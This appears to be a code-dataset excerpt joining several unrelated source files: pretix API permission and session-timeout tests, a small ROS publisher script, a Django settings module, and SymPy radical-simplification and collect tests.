token_client.get('/api/v1/organizers/{}/events/'.format(o2.slug)) assert resp.status_code == 403 @pytest.mark.django_db def test_organizer_not_allowed_device(device_client, organizer): o2 = Organizer.objects.create(slug='o2', name='Organizer 2') resp = device_client.get('/api/v1/organizers/{}/events/'.format(o2.slug)) assert resp.status_code == 403 @pytest.mark.django_db def test_organizer_not_existing(token_client, organizer): resp = token_client.get('/api/v1/organizers/{}/events/'.format('o2')) assert resp.status_code == 403 @pytest.mark.django_db @pytest.mark.parametrize("url", event_urls) def test_event_allowed_all_events(token_client, team, organizer, event, url): team.all_events = True team.save() resp = token_client.get('/api/v1/organizers/{}/events/{}/{}'.format(organizer.slug, event.slug, url[1])) assert resp.status_code == 200 @pytest.mark.django_db @pytest.mark.parametrize("url", event_urls) def test_event_allowed_all_events_device(device_client, device, organizer, event, url): resp = device_client.get('/api/v1/organizers/{}/events/{}/{}'.format(organizer.slug, event.slug, url[1])) if url[0] is None or url[0] in device.permission_set(): assert resp.status_code == 200 else: assert resp.status_code == 403 @pytest.mark.django_db @pytest.mark.parametrize("url", event_urls) def test_event_allowed_limit_events(token_client, organizer, team, event, url): team.all_events = False team.save() team.limit_events.add(event) resp = token_client.get('/api/v1/organizers/{}/events/{}/{}'.format(organizer.slug, event.slug, url[1])) assert resp.status_code == 200 @pytest.mark.django_db @pytest.mark.parametrize("url", event_urls) def test_event_allowed_limit_events_device(device_client, organizer, device, event, url): device.all_events = False device.save() device.limit_events.add(event) resp = device_client.get('/api/v1/organizers/{}/events/{}/{}'.format(organizer.slug, event.slug, url[1])) if url[0] is None or url[0] in device.permission_set(): assert resp.status_code == 200 else: assert resp.status_code == 403 @pytest.mark.django_db @pytest.mark.parametrize("url", event_urls) def test_event_not_allowed(token_client, organizer, team, event, url): team.all_events = False team.save() resp = token_client.get('/api/v1/organizers/{}/events/{}/{}'.format(organizer.slug, event.slug, url[1])) assert resp.status_code == 403 @pytest.mark.django_db @pytest.mark.parametrize("url", event_urls) def test_event_not_allowed_device(device_client, organizer, device, event, url): device.all_events = False device.save() resp = device_client.get('/api/v1/organizers/{}/events/{}/{}'.format(organizer.slug, event.slug, url[1])) assert resp.status_code == 403 @pytest.mark.django_db @pytest.mark.parametrize("url", event_urls) def test_event_not_existing(token_client, organizer, url, event): resp = token_client.get('/api/v1/organizers/{}/events/{}/{}'.format(organizer.slug, event.slug, url[1])) assert resp.status_code == 403 @pytest.mark.django_db @pytest.mark.parametrize("urlset", event_permission_sub_urls) def test_token_event_subresources_permission_allowed(token_client, team, organizer, event, urlset): team.all_events = True if urlset[1]: setattr(team, urlset[1], True) team.save() resp = getattr(token_client, urlset[0])('/api/v1/organizers/{}/events/{}/{}'.format( organizer.slug, event.slug, urlset[2])) assert resp.status_code == urlset[3] @pytest.mark.django_db @pytest.mark.parametrize("urlset", event_permission_sub_urls) def test_token_event_subresources_permission_not_allowed(token_client, team, organizer, event, urlset): if urlset[1] is None: team.all_events = False else: team.all_events = True setattr(team, urlset[1], False) team.save() resp = getattr(token_client, urlset[0])('/api/v1/organizers/{}/events/{}/{}'.format( organizer.slug, event.slug, urlset[2])) if urlset[3] == 404: assert resp.status_code == 403 else: assert resp.status_code in (404, 403) @pytest.mark.django_db @pytest.mark.parametrize("urlset", event_permission_root_urls) def test_token_event_permission_allowed(token_client, team, organizer, event, urlset): team.all_events = True setattr(team, urlset[1], True) team.save() if urlset[0] == 'post': resp = getattr(token_client, urlset[0])('/api/v1/organizers/{}/events/'.format(organizer.slug)) else: resp = getattr(token_client, urlset[0])('/api/v1/organizers/{}/events/{}/'.format(organizer.slug, event.slug)) assert resp.status_code == urlset[2] @pytest.mark.django_db @pytest.mark.parametrize("urlset", event_permission_root_urls) def test_token_event_permission_not_allowed(token_client, team, organizer, event, urlset): team.all_events = True setattr(team, urlset[1], False) team.save() if urlset[0] == 'post': resp = getattr(token_client, urlset[0])('/api/v1/organizers/{}/events/'.format(organizer.slug)) else: resp = getattr(token_client, urlset[0])('/api/v1/organizers/{}/events/{}/'.format(organizer.slug, event.slug)) assert resp.status_code == 403 @pytest.mark.django_db def test_log_out_after_absolute_timeout(user_client, team, organizer, event): session = user_client.session session['pretix_auth_long_session'] = False session['pretix_auth_login_time'] = int(time.time()) - 3600 * 12 - 60 session.save() response = user_client.get('/api/v1/organizers/{}/events/'.format(organizer.slug)) assert response.status_code == 403 @pytest.mark.django_db def test_dont_logout_before_absolute_timeout(user_client, team, organizer, event): session = user_client.session session['pretix_auth_long_session'] = True session['pretix_auth_login_time'] = int(time.time()) - 3600 * 12 + 60 session.save() response = user_client.get('/api/v1/organizers/{}/events/'.format(organizer.slug)) assert response.status_code == 200 @pytest.mark.django_db @override_settings(PRETIX_LONG_SESSIONS=False) def test_ignore_long_session_if_disabled_in_config(user_client, team, organizer, event): session = user_client.session session['pretix_auth_long_session'] = True session['pretix_auth_login_time'] = int(time.time()) - 3600 * 12 - 60 session.save() response = user_client.get('/api/v1/organizers/{}/events/'.format(organizer.slug)) assert response.status_code == 403 @pytest.mark.django_db def test_dont_logout_in_long_session(user_client, team, organizer, event): session = user_client.session session['pretix_auth_long_session'] = True session['pretix_auth_login_time'] = int(time.time()) - 3600 * 12 - 60 session.save() response = user_client.get('/api/v1/organizers/{}/events/'.format(organizer.slug)) assert response.status_code == 200 @pytest.mark.django_db def test_log_out_after_relative_timeout(user_client, team, organizer, event): session = user_client.session session['pretix_auth_long_session'] = False session['pretix_auth_login_time'] = int(time.time()) - 3600 * 6 session['pretix_auth_last_used'] = int(time.time()) - 3600 * 3 - 60 session.save() response = user_client.get('/api/v1/organizers/{}/events/'.format(organizer.slug)) assert response.status_code == 403 @pytest.mark.django_db def test_dont_logout_before_relative_timeout(user_client, team, organizer, event): session = user_client.session session['pretix_auth_long_session'] = True session['pretix_auth_login_time'] = int(time.time()) - 3600 * 6 session['pretix_auth_last_used'] = int(time.time()) - 3600 * 3 + 60 session.save() response = user_client.get('/api/v1/organizers/{}/events/'.format(organizer.slug)) assert response.status_code == 200 @pytest.mark.django_db def test_dont_logout_by_relative_in_long_session(user_client, team, organizer, event): session = user_client.session session['pretix_auth_long_session'] = True session['pretix_auth_login_time'] = int(time.time()) - 3600 * 5 session['pretix_auth_last_used'] = int(time.time()) - 3600 * 3 - 60 session.save() response = user_client.get('/api/v1/organizers/{}/events/'.format(organizer.slug)) assert response.status_code == 200 @pytest.mark.django_db def test_update_session_activity(user_client, team, organizer, event): t1 = int(time.time()) - 5 session = user_client.session session['pretix_auth_long_session'] = False session['pretix_auth_login_time'] = int(time.time()) - 3600 * 5 session['pretix_auth_last_used'] = t1 session.save() response = user_client.get('/api/v1/organizers/{}/events/'.format(organizer.slug)) assert response.status_code == 200 assert user_client.session['pretix_auth_last_used'] > t1 @pytest.mark.django_db @pytest.mark.parametrize("urlset", event_permission_sub_urls) def test_device_subresource_permission_check(device_client, device, organizer, event, urlset): resp = getattr(device_client, urlset[0])('/api/v1/organizers/{}/events/{}/{}'.format( organizer.slug, event.slug, urlset[2])) if urlset[1] is None or urlset[1] in device.permission_set(): assert resp.status_code == urlset[3] else: if urlset[3] == 404: assert resp.status_code == 403 else: assert resp.status_code in (404, 403) @pytest.mark.django_db @pytest.mark.parametrize("urlset", org_permission_sub_urls) def test_token_org_subresources_permission_allowed(token_client, team, organizer, event, urlset): team.all_events = True if urlset[1]: setattr(team, urlset[1], True) team.save() resp = getattr(token_client, urlset[0])('/api/v1/organizers/{}/{}'.format( organizer.slug, urlset[2])) assert resp.status_code == urlset[3] @pytest.mark.django_db @pytest.mark.parametrize("urlset", org_permission_sub_urls) def test_token_org_subresources_permission_not_allowed(token_client, team, organizer, event, urlset): if urlset[1] is None: team.all_events = False else: team.all_events = True setattr(team, urlset[1], False) team.save() resp = getattr(token_client, urlset[0])('/api/v1/organizers/{}/{}'.format( organizer.slug, urlset[2])) if urlset[3] == 404: assert resp.status_code == 403 else: assert resp.status_code in (404, 403) @pytest.mark.django_db @pytest.mark.parametrize("url", event_urls) def test_event_staff_requires_staff_session(user_client, organizer, team, event, url, user): team.delete() user.is_staff = True user.save() resp = user_client.get('/api/v1/organizers/{}/events/{}/{}'.format(organizer.slug, event.slug, url[1])) assert resp.status_code == 403 user.staffsession_set.create(date_start=now(), session_key=user_client.session.session_key) resp = user_client.get('/api/v1/organizers/{}/events/{}/{}'.format(organizer.slug, event.slug, url[1])) assert resp.status_code == 200

8a07036df3dec476a30b3c2242d77bf2005b0dfc

py

Python

pr2_robot/scripts/mover.py

kitu2007/RoboND-Perception-Project

e12fcf5afb7a4ef0b7c4d09d1841d04557f59edc

pr2_robot/scripts/mover.py

kitu2007/RoboND-Perception-Project

e12fcf5afb7a4ef0b7c4d09d1841d04557f59edc

pr2_robot/scripts/mover.py

kitu2007/RoboND-Perception-Project

e12fcf5afb7a4ef0b7c4d09d1841d04557f59edc

import math import rospy from std_msgs.msg import Float64 def mover(topic, msg_type, value_fn): pub_j1 = rospy.Publisher(topic, msg_type, queue_size=10) rospy.init_node('robot_mover') rate = rospy.Rate(10) start_time = 0 while not start_time: start_time = rospy.Time.now().to_sec() while not rospy.is_shutdown(): t = rospy.Time.now()-start_time pub_j1.publish(value_fn(t)) rate.sleep()

c1c21036eeb45850a0bdd7a8c79231c6d41477f9

py

Python

config/settings/base.py

devspoon/devspoon-django-default-structure

dd48fc0476dee2c89c68d29fca7d6084380de1c7

config/settings/base.py

devspoon/devspoon-django-default-structure

dd48fc0476dee2c89c68d29fca7d6084380de1c7

config/settings/base.py

devspoon/devspoon-django-default-structure

dd48fc0476dee2c89c68d29fca7d6084380de1c7

""" Django settings for config project. Generated by 'django-admin startproject' using Django 3.2. For more information on this file, see https://docs.djangoproject.com/en/3.2/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/3.2/ref/settings/ """ import os from pathlib import Path from decouple import config from os.path import join from django.contrib import messages #from .sub_settings.email.gmail import * from .sub_settings.email.sendinblue import * #from .sub_settings.email.mailgun import * # from .sub_settings.email.sendgrid import * #from .sub_settings.email.aws_ses import * # Build paths inside the project like this: BASE_DIR / 'subdir'. BASE_DIR = Path(__file__).resolve().parent.parent ROOT_DIR = os.path.dirname(BASE_DIR) TEMPLATE_DIR = os.path.join(ROOT_DIR, "templates") # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/3.2/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = config('SECRET_KEY') # SECURITY WARNING: don't run with debug turned on in production! # Application definition INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'users', "anymail", 'imagekit', ] MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ] AUTHENTICATION_BACKENDS = [ 'django.contrib.auth.backends.ModelBackend' # 기본 인증 백엔드 ] ROOT_URLCONF = 'config.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', "DIRS": [TEMPLATE_DIR], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, }, ] WSGI_APPLICATION = 'config.wsgi.application' # Password validation # https://docs.djangoproject.com/en/3.2/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', }, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', }, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', }, ] # Internationalization # https://docs.djangoproject.com/en/3.2/topics/i18n/ #LANGUAGE_CODE = "ko-kr" LANGUAGE_CODE = 'en-us' #TIME_ZONE = "Asia/Seoul" TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True #true로 선택하면 UTC 기준으로 시간이 저장됨 # ref : https://it-eldorado.tistory.com/13 # 자동으로 모델의 id 혹은 pk를 설정해줌 # ref : # 1. https://dev.to/weplayinternet/upgrading-to-django-3-2-and-fixing-defaultautofield-warnings-518n # 2. https://docs.djangoproject.com/en/3.2/ref/settings/#default-auto-field DEFAULT_AUTO_FIELD = "django.db.models.BigAutoField" # 기본 로그인 페이지 URL 지정 # login_required 장식자 등에 의해서 사용 LOGIN_URL = "/users/login/" # 로그인 완료 후 next 인자가 지정되면 해당 URL 페이지로 이동 # next 인자가 없으면 아래 URL로 이동 LOGIN_REDIRECT_URL = "" # 로그아웃 후에 next 인자기 지정되면 해당 URL 페이지로 이동 # next 인자가 없으면 LOGOUT_REDIRECT_URL로 이동 # LOGOUT_REDIRECT_URL이 None(디폴트)이면, 'registration/logged_out.html' 템플릿 렌더링 LOGOUT_REDIRECT_URL = LOGIN_REDIRECT_URL # 인증에 사용할 커스텀 User 모델 지정 : '앱이름.모델명' # AUTH_USER_MODEL = 'user.Usert' SITE_ID = 1 # messages setting MESSAGE_TAGS = { messages.DEBUG: 'alert-info', messages.INFO: 'alert-info', messages.SUCCESS: 'alert-success', messages.WARNING: 'alert-warning', messages.ERROR: 'alert-danger', } # Django Session Timeout Code SESSION_COOKIE_AGE = 1200 # second SESSION_SAVE_EVERY_REQUEST = True SESSION_EXPIRE_AT_BROWSER_CLOSE = True # SESSION_COOKIE_SECURE = True # https

769ddcfaffaf2ea53de4ae6c673514c1939c837a

py

Python

env/lib/python3.8/site-packages/sympy/simplify/tests/test_radsimp.py

crimergio/linux_test

5e688a06884ab10b4eaaad10a5d0df417a1c9b31

2019-05-18T22:36:49.000Z

2019-05-24T05:56:16.000Z

env/lib/python3.8/site-packages/sympy/simplify/tests/test_radsimp.py

crimergio/linux_test

5e688a06884ab10b4eaaad10a5d0df417a1c9b31

env/lib/python3.8/site-packages/sympy/simplify/tests/test_radsimp.py

crimergio/linux_test

5e688a06884ab10b4eaaad10a5d0df417a1c9b31

2019-05-18T21:32:31.000Z

2019-07-26T11:05:46.000Z

from sympy import ( sqrt, Derivative, symbols, collect, Function, factor, Wild, S, collect_const, log, fraction, I, cos, Add, O,sin, rcollect, Mul, radsimp, diff, root, Symbol, Rational, exp, Abs) from sympy.core.expr import unchanged from sympy.core.mul import _unevaluated_Mul as umul from sympy.simplify.radsimp import (_unevaluated_Add, collect_sqrt, fraction_expand, collect_abs) from sympy.testing.pytest import raises from sympy.abc import x, y, z, a, b, c, d def test_radsimp(): r2 = sqrt(2) r3 = sqrt(3) r5 = sqrt(5) r7 = sqrt(7) assert fraction(radsimp(1/r2)) == (sqrt(2), 2) assert radsimp(1/(1 + r2)) == \ -1 + sqrt(2) assert radsimp(1/(r2 + r3)) == \ -sqrt(2) + sqrt(3) assert fraction(radsimp(1/(1 + r2 + r3))) == \ (-sqrt(6) + sqrt(2) + 2, 4) assert fraction(radsimp(1/(r2 + r3 + r5))) == \ (-sqrt(30) + 2*sqrt(3) + 3*sqrt(2), 12) assert fraction(radsimp(1/(1 + r2 + r3 + r5))) == ( (-34*sqrt(10) - 26*sqrt(15) - 55*sqrt(3) - 61*sqrt(2) + 14*sqrt(30) + 93 + 46*sqrt(6) + 53*sqrt(5), 71)) assert fraction(radsimp(1/(r2 + r3 + r5 + r7))) == ( (-50*sqrt(42) - 133*sqrt(5) - 34*sqrt(70) - 145*sqrt(3) + 22*sqrt(105) + 185*sqrt(2) + 62*sqrt(30) + 135*sqrt(7), 215)) z = radsimp(1/(1 + r2/3 + r3/5 + r5 + r7)) assert len((3616791619821680643598*z).args) == 16 assert radsimp(1/z) == 1/z assert radsimp(1/z, max_terms=20).expand() == 1 + r2/3 + r3/5 + r5 + r7 assert radsimp(1/(r2*3)) == \ sqrt(2)/6 assert radsimp(1/(r2*a + r3 + r5 + r7)) == ( (8*sqrt(2)*a**7 - 8*sqrt(7)*a**6 - 8*sqrt(5)*a**6 - 8*sqrt(3)*a**6 - 180*sqrt(2)*a**5 + 8*sqrt(30)*a**5 + 8*sqrt(42)*a**5 + 8*sqrt(70)*a**5 - 24*sqrt(105)*a**4 + 84*sqrt(3)*a**4 + 100*sqrt(5)*a**4 + 116*sqrt(7)*a**4 - 72*sqrt(70)*a**3 - 40*sqrt(42)*a**3 - 8*sqrt(30)*a**3 + 782*sqrt(2)*a**3 - 462*sqrt(3)*a**2 - 302*sqrt(7)*a**2 - 254*sqrt(5)*a**2 + 120*sqrt(105)*a**2 - 795*sqrt(2)*a - 62*sqrt(30)*a + 82*sqrt(42)*a + 98*sqrt(70)*a - 118*sqrt(105) + 59*sqrt(7) + 295*sqrt(5) + 531*sqrt(3))/(16*a**8 - 480*a**6 + 3128*a**4 - 6360*a**2 + 3481)) assert radsimp(1/(r2*a + r2*b + r3 + r7)) == ( (sqrt(2)*a*(a + b)**2 - 5*sqrt(2)*a + sqrt(42)*a + sqrt(2)*b*(a + b)**2 - 5*sqrt(2)*b + sqrt(42)*b - sqrt(7)*(a + b)**2 - sqrt(3)*(a + b)**2 - 2*sqrt(3) + 2*sqrt(7))/(2*a**4 + 8*a**3*b + 12*a**2*b**2 - 20*a**2 + 8*a*b**3 - 40*a*b + 2*b**4 - 20*b**2 + 8)) assert radsimp(1/(r2*a + r2*b + r2*c + r2*d)) == \ sqrt(2)/(2*a + 2*b + 2*c + 2*d) assert radsimp(1/(1 + r2*a + r2*b + r2*c + r2*d)) == ( (sqrt(2)*a + sqrt(2)*b + sqrt(2)*c + sqrt(2)*d - 1)/(2*a**2 + 4*a*b + 4*a*c + 4*a*d + 2*b**2 + 4*b*c + 4*b*d + 2*c**2 + 4*c*d + 2*d**2 - 1)) assert radsimp((y**2 - x)/(y - sqrt(x))) == \ sqrt(x) + y assert radsimp(-(y**2 - x)/(y - sqrt(x))) == \ -(sqrt(x) + y) assert radsimp(1/(1 - I + a*I)) == \ (-I*a + 1 + I)/(a**2 - 2*a + 2) assert radsimp(1/((-x + y)*(x - sqrt(y)))) == \ (-x - sqrt(y))/((x - y)*(x**2 - y)) e = (3 + 3*sqrt(2))*x*(3*x - 3*sqrt(y)) assert radsimp(e) == x*(3 + 3*sqrt(2))*(3*x - 3*sqrt(y)) assert radsimp(1/e) == ( (-9*x + 9*sqrt(2)*x - 9*sqrt(y) + 9*sqrt(2)*sqrt(y))/(9*x*(9*x**2 - 9*y))) assert radsimp(1 + 1/(1 + sqrt(3))) == \ Mul(S.Half, -1 + sqrt(3), evaluate=False) + 1 A = symbols("A", commutative=False) assert radsimp(x**2 + sqrt(2)*x**2 - sqrt(2)*x*A) == \ x**2 + sqrt(2)*x**2 - sqrt(2)*x*A assert radsimp(1/sqrt(5 + 2 * sqrt(6))) == -sqrt(2) + sqrt(3) assert radsimp(1/sqrt(5 + 2 * sqrt(6))**3) == -(-sqrt(3) + sqrt(2))**3 # issue 6532 assert fraction(radsimp(1/sqrt(x))) == (sqrt(x), x) assert fraction(radsimp(1/sqrt(2*x + 3))) == (sqrt(2*x + 3), 2*x + 3) assert fraction(radsimp(1/sqrt(2*(x + 3)))) == (sqrt(2*x + 6), 2*x + 6) # issue 5994 e = S('-(2 + 2*sqrt(2) + 4*2**(1/4))/' '(1 + 2**(3/4) + 3*2**(1/4) + 3*sqrt(2))') assert radsimp(e).expand() == -2*2**Rational(3, 4) - 2*2**Rational(1, 4) + 2 + 2*sqrt(2) # issue 5986 (modifications to radimp didn't initially recognize this so # the test is included here) assert radsimp(1/(-sqrt(5)/2 - S.Half + (-sqrt(5)/2 - S.Half)**2)) == 1 # from issue 5934 eq = ( (-240*sqrt(2)*sqrt(sqrt(5) + 5)*sqrt(8*sqrt(5) + 40) - 360*sqrt(2)*sqrt(-8*sqrt(5) + 40)*sqrt(-sqrt(5) + 5) - 120*sqrt(10)*sqrt(-8*sqrt(5) + 40)*sqrt(-sqrt(5) + 5) + 120*sqrt(2)*sqrt(-sqrt(5) + 5)*sqrt(8*sqrt(5) + 40) + 120*sqrt(2)*sqrt(-8*sqrt(5) + 40)*sqrt(sqrt(5) + 5) + 120*sqrt(10)*sqrt(-sqrt(5) + 5)*sqrt(8*sqrt(5) + 40) + 120*sqrt(10)*sqrt(-8*sqrt(5) + 40)*sqrt(sqrt(5) + 5))/(-36000 - 7200*sqrt(5) + (12*sqrt(10)*sqrt(sqrt(5) + 5) + 24*sqrt(10)*sqrt(-sqrt(5) + 5))**2)) assert radsimp(eq) is S.NaN # it's 0/0 # work with normal form e = 1/sqrt(sqrt(7)/7 + 2*sqrt(2) + 3*sqrt(3) + 5*sqrt(5)) + 3 assert radsimp(e) == ( -sqrt(sqrt(7) + 14*sqrt(2) + 21*sqrt(3) + 35*sqrt(5))*(-11654899*sqrt(35) - 1577436*sqrt(210) - 1278438*sqrt(15) - 1346996*sqrt(10) + 1635060*sqrt(6) + 5709765 + 7539830*sqrt(14) + 8291415*sqrt(21))/1300423175 + 3) # obey power rules base = sqrt(3) - sqrt(2) assert radsimp(1/base**3) == (sqrt(3) + sqrt(2))**3 assert radsimp(1/(-base)**3) == -(sqrt(2) + sqrt(3))**3 assert radsimp(1/(-base)**x) == (-base)**(-x) assert radsimp(1/base**x) == (sqrt(2) + sqrt(3))**x assert radsimp(root(1/(-1 - sqrt(2)), -x)) == (-1)**(-1/x)*(1 + sqrt(2))**(1/x) # recurse e = cos(1/(1 + sqrt(2))) assert radsimp(e) == cos(-sqrt(2) + 1) assert radsimp(e/2) == cos(-sqrt(2) + 1)/2 assert radsimp(1/e) == 1/cos(-sqrt(2) + 1) assert radsimp(2/e) == 2/cos(-sqrt(2) + 1) assert fraction(radsimp(e/sqrt(x))) == (sqrt(x)*cos(-sqrt(2)+1), x) # test that symbolic denominators are not processed r = 1 + sqrt(2) assert radsimp(x/r, symbolic=False) == -x*(-sqrt(2) + 1) assert radsimp(x/(y + r), symbolic=False) == x/(y + 1 + sqrt(2)) assert radsimp(x/(y + r)/r, symbolic=False) == \ -x*(-sqrt(2) + 1)/(y + 1 + sqrt(2)) # issue 7408 eq = sqrt(x)/sqrt(y) assert radsimp(eq) == umul(sqrt(x), sqrt(y), 1/y) assert radsimp(eq, symbolic=False) == eq # issue 7498 assert radsimp(sqrt(x)/sqrt(y)**3) == umul(sqrt(x), sqrt(y**3), 1/y**3) # for coverage eq = sqrt(x)/y**2 assert radsimp(eq) == eq def test_radsimp_issue_3214(): c, p = symbols('c p', positive=True) s = sqrt(c**2 - p**2) b = (c + I*p - s)/(c + I*p + s) assert radsimp(b) == -I*(c + I*p - sqrt(c**2 - p**2))**2/(2*c*p) def test_collect_1(): """Collect with respect to a Symbol""" x, y, z, n = symbols('x,y,z,n') assert collect(1, x) == 1 assert collect( x + y*x, x ) == x * (1 + y) assert collect( x + x**2, x ) == x + x**2 assert collect( x**2 + y*x**2, x ) == (x**2)*(1 + y) assert collect( x**2 + y*x, x ) == x*y + x**2 assert collect( 2*x**2 + y*x**2 + 3*x*y, [x] ) == x**2*(2 + y) + 3*x*y assert collect( 2*x**2 + y*x**2 + 3*x*y, [y] ) == 2*x**2 + y*(x**2 + 3*x) assert collect( ((1 + y + x)**4).expand(), x) == ((1 + y)**4).expand() + \ x*(4*(1 + y)**3).expand() + x**2*(6*(1 + y)**2).expand() + \ x**3*(4*(1 + y)).expand() + x**4 # symbols can be given as any iterable expr = x + y assert collect(expr, expr.free_symbols) == expr def test_collect_2(): """Collect with respect to a sum""" a, b, x = symbols('a,b,x') assert collect(a*(cos(x) + sin(x)) + b*(cos(x) + sin(x)), sin(x) + cos(x)) == (a + b)*(cos(x) + sin(x)) def test_collect_3(): """Collect with respect to a product""" a, b, c = symbols('a,b,c') f = Function('f') x, y, z, n = symbols('x,y,z,n') assert collect(-x/8 + x*y, -x) == x*(y - Rational(1, 8)) assert collect( 1 + x*(y**2), x*y ) == 1 + x*(y**2) assert collect( x*y + a*x*y, x*y) == x*y*(1 + a) assert collect( 1 + x*y + a*x*y, x*y) == 1 + x*y*(1 + a) assert collect(a*x*f(x) + b*(x*f(x)), x*f(x)) == x*(a + b)*f(x) assert collect(a*x*log(x) + b*(x*log(x)), x*log(x)) == x*(a + b)*log(x) assert collect(a*x**2*log(x)**2 + b*(x*log(x))**2, x*log(x)) == \ x**2*log(x)**2*(a + b) # with respect to a product of three symbols assert collect(y*x*z + a*x*y*z, x*y*z) == (1 + a)*x*y*z def test_collect_4(): """Collect with respect to a power""" a, b, c, x = symbols('a,b,c,x') assert collect(a*x**c + b*x**c, x**c) == x**c*(a + b) # issue 6096: 2 stays with c (unless c is integer or x is positive0 assert collect(a*x**(2*c) + b*x**(2*c), x**c) == x**(2*c)*(a + b) def test_collect_5(): """Collect with respect to a tuple""" a, x, y, z, n = symbols('a,x,y,z,n') assert collect(x**2*y**4 + z*(x*y**2)**2 + z + a*z, [x*y**2, z]) in [ z*(1 + a + x**2*y**4) + x**2*y**4, z*(1 + a) + x**2*y**4*(1 + z) ] assert collect((1 + (x + y) + (x + y)**2).expand(), [x, y]) == 1 + y + x*(1 + 2*y) + x**2 + y**2 def test_collect_pr19431(): """Unevaluated collect with respect to a product""" a = symbols('a') assert collect(a**2*(a**2 + 1), a**2, evaluate=False)[a**2] == (a**2 + 1) def test_collect_D(): D = Derivative f = Function('f') x, a, b = symbols('x,a,b') fx = D(f(x), x) fxx = D(f(x), x, x) assert collect(a*fx + b*fx, fx) == (a + b)*fx assert collect(a*D(fx, x) + b*D(fx, x), fx) == (a + b)*D(fx, x) assert collect(a*fxx + b*fxx, fx) == (a + b)*D(fx, x) # issue 4784 assert collect(5*f(x) + 3*fx, fx) == 5*f(x) + 3*fx assert collect(f(x) + f(x)*diff(f(x), x) + x*diff(f(x), x)*f(x), f(x).diff(x)) == \ (x*f(x) + f(x))*D(f(x), x) + f(x) assert collect(f(x) + f(x)*diff(f(x), x) + x*diff(f(x), x)*f(x), f(x).diff(x), exact=True) == \ (x*f(x) + f(x))*D(f(x), x) + f(x) assert collect(1/f(x) + 1/f(x)*diff(f(x), x) + x*diff(f(x), x)/f(x), f(x).diff(x), exact=True) == \ (1/f(x) + x/f(x))*D(f(x), x) + 1/f(x) e = (1 + x*fx + fx)/f(x) assert collect(e.expand(), fx) == fx*(x/f(x) + 1/f(x)) + 1/f(x) def test_collect_func(): f = ((x + a + 1)**3).expand() assert collect(f, x) == a**3 + 3*a**2 + 3*a + x**3 + x**2*(3*a + 3) + \ x*(3*a**2 + 6*a + 3) + 1 assert collect(f, x, factor) == x**3 + 3*x**2*(a + 1) + 3*x*(a + 1)**2 + \ (a + 1)**3 assert collect(f, x, evaluate=False) == { S.One: a**3 + 3*a**2 + 3*a + 1, x: 3*a**2 + 6*a + 3, x**2: 3*a + 3, x**3: 1 } assert collect(f, x, factor, evaluate=False) == { S.One: (a + 1)**3, x: 3*(a + 1)**2, x**2: umul(S(3), a + 1), x**3: 1} def test_collect_order(): a, b, x, t = symbols('a,b,x,t') assert collect(t + t*x + t*x**2 + O(x**3), t) == t*(1 + x + x**2 + O(x**3)) assert collect(t + t*x + x**2 + O(x**3), t) == \ t*(1 + x + O(x**3)) + x**2 + O(x**3) f = a*x + b*x + c*x**2 + d*x**2 + O(x**3) g = x*(a + b) + x**2*(c + d) + O(x**3) assert collect(f, x) == g assert collect(f, x, distribute_order_term=False) == g f = sin(a + b).series(b, 0, 10) assert collect(f, [sin(a), cos(a)]) == \ sin(a)*cos(b).series(b, 0, 10) + cos(a)*sin(b).series(b, 0, 10) assert collect(f, [sin(a), cos(a)], distribute_order_term=False) == \ sin(a)*cos(b).series(b, 0, 10).removeO() + \ cos(a)*sin(b).series(b, 0, 10).removeO() + O(b**10) def test_rcollect(): assert rcollect((x**2*y + x*y + x + y)/(x + y), y) == \ (x + y*(1 + x + x**2))/(x + y) assert rcollect(sqrt(-((x + 1)*(y + 1))), z) == sqrt(-((x + 1)*(y + 1))) def test_collect_D_0(): D = Derivative f = Function('f') x, a, b = symbols('x,a,b') fxx = D(f(x), x, x) assert collect(a*fxx + b*fxx, fxx) == (a + b)*fxx def test_collect_Wild(): """Collect with respect to functions with Wild argument""" a, b, x, y = symbols('a b x y') f = Function('f') w1 = Wild('.1') w2 = Wild('.2') assert collect(f(x) + a*f(x), f(w1)) == (1 + a)*f(x) assert collect(f(x, y) + a*f(x, y), f(w1)) == f(x, y) + a*f(x, y) assert collect(f(x, y) + a*f(x, y), f(w1, w2)) == (1 + a)*f(x, y) assert collect(f(x, y) + a*f(x, y), f(w1, w1)) == f(x, y) + a*f(x, y) assert collect(f(x, x) + a*f(x, x), f(w1, w1)) == (1 + a)*f(x, x) assert collect(a*(x + 1)**y + (x + 1)**y, w1**y) == (1 + a)*(x + 1)**y assert collect(a*(x + 1)**y + (x + 1)**y, w1**b) == \ a*(x + 1)**y + (x + 1)**y assert collect(a*(x + 1)**y + (x + 1)**y, (x + 1)**w2) == \ (1 + a)*(x + 1)**y assert collect(a*(x + 1)**y + (x + 1)**y, w1**w2) == (1 + a)*(x + 1)**y def test_collect_const(): # coverage not provided by above tests assert collect_const(2*sqrt(3) + 4*a*sqrt(5)) == \ 2*(2*sqrt(5)*a + sqrt(3)) # let the primitive reabsorb assert collect_const(2*sqrt(3) + 4*a*sqrt(5), sqrt(3)) == \ 2*sqrt(3) + 4*a*sqrt(5) assert collect_const(sqrt(2)*(1 + sqrt(2)) + sqrt(3) + x*sqrt(2)) == \ sqrt(2)*(x + 1 + sqrt(2)) + sqrt(3) # issue 5290 